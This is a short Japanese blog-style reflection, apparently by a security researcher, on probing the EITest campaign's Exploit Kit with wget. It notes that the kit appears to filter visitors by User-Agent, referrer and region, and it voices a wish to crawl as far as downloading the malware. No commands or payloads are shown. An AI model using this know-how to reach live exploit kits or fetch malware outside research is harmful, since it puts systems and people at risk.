EITestのExploit Kitへのアクセスがとても面倒だということが分かりました。おそらくUser AgentとリファラとIP(国・地域)で識別しているようですが、実際、そのサイトがどこの何を狙っているかが分からないし、もしかするとこれ以外にも制約があるかもしれないです。色々な条件でアクセスして全くExploit Kitへ誘導されないこともあったので、もしかすると条件に合ってもランダムで誘導したりしなかったりするのかもしれないとか考えたりしました。

もちろん、こんな面倒をしているのもwgetなんか使っているからで、攻撃者は一般的なブラウジングの結果、そこにたどり着くことを想定しており、普通のブラウザからアクセスならExploit Kitへ誘導される可能性はもっと高くなります。

 

今回はExploit Kitの攻撃キャンペーンがどのようなWeb改ざんを行っているのかを調べてみました。アクセス時の条件によって挙動が変わるのは面白いです。あと、wgetでも色々頑張れることが分かりました。

できればクローラでマルウェアのダウンロードまで行えるようになればいいなあ。